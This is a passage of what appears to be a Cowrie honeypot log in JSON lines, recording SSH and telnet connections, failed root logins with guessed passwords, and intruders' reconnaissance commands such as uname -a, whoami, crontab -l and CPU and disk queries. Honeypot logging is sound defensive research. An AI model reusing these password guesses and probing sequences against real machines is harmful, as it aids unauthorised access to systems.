16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.701517Z","src_ip":"185.236.22.41","session":"d7957833e6c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.751958Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.917267Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.922186Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:21.926052Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:22.115214Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:22.296748Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:22.300659Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03031991","message":"login attempt [root/03031991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:22.356715Z","src_ip":"185.236.22.41","session":"d7957833e6c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00097179412842,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:22.487641Z","src_ip":"98.30.219.209","session":"f43ee140ed43","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":19,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:22.494315Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:22.651458Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:22.655401Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:22.842732Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.001619Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.005428Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.193114Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.358678Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.362961Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.500819Z","src_ip":"185.236.22.41","session":"d7957833e6c3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.561637Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.723368Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.727297Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:23.916350Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:24.069705Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:24.074387Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:24.262305Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:24.445836Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:24.450579Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:24.641772Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:24.813867Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:24.817751Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":4,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:25.006459Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:25.158615Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:25.162184Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:25.351157Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:25.510322Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:25.514230Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"df -h","message":"Command not found: df -h","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:25.519178Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":29,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:25.620789Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:25.627561Z","src_ip":"45.144.233.56","session":"e650abc5437a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":50974,"dst_ip":"10.17.0.5","dst_port":23,"session":"82e5889bd9c9","protocol":"telnet","message":"New connection: 98.30.219.209:50974 (10.17.0.5:23) [session: 82e5889bd9c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:28.059903Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":46196,"dst_ip":"159.203.135.109","dst_port":22,"session":"a431616669c0","protocol":"ssh","message":"New connection: 186.148.224.183:46196 (159.203.135.109:22) [session: a431616669c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:36.714323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:36.719633Z","src_ip":"186.148.224.183","session":"a431616669c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:36.865473Z","src_ip":"186.148.224.183","session":"a431616669c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wh123456@","message":"login attempt [root/wh123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:37.479298Z","src_ip":"186.148.224.183","session":"a431616669c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0021584033966,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:38.067136Z","src_ip":"98.30.219.209","session":"a9a424849710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:38.628451Z","src_ip":"186.148.224.183","session":"a431616669c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":51211,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e11831e48ba","protocol":"telnet","message":"New connection: 98.30.219.209:51211 (10.17.0.5:23) [session: 2e11831e48ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:43.374756Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:05:51.599409Z","src_ip":"14.103.118.145","session":"fe646b0541ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":34000,"dst_ip":"10.17.0.5","dst_port":22,"session":"413d76182284","protocol":"ssh","message":"New connection: 20.160.86.7:34000 (10.17.0.5:22) [session: 413d76182284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:06.317777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:06.322136Z","src_ip":"20.160.86.7","session":"413d76182284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:06.405577Z","src_ip":"20.160.86.7","session":"413d76182284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$sw0rd123","message":"login attempt [root/P@$sw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:06.769772Z","src_ip":"20.160.86.7","session":"413d76182284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:07.855509Z","src_ip":"20.160.86.7","session":"413d76182284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":36938,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9f7e7ee202a","protocol":"ssh","message":"New connection: 190.223.60.209:36938 (10.17.0.5:22) [session: d9f7e7ee202a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:19.710938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:19.716889Z","src_ip":"190.223.60.209","session":"d9f7e7ee202a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:23.926777Z","src_ip":"190.223.60.209","session":"d9f7e7ee202a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:24.428455Z","src_ip":"190.223.60.209","session":"d9f7e7ee202a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:25.563213Z","src_ip":"190.223.60.209","session":"d9f7e7ee202a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":56800,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc4b93748c69","protocol":"ssh","message":"New connection: 45.144.233.56:56800 (10.17.0.5:22) [session: fc4b93748c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:29.870654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:06:29.876106Z","src_ip":"45.144.233.56","session":"fc4b93748c69","protocol":"ssh"}
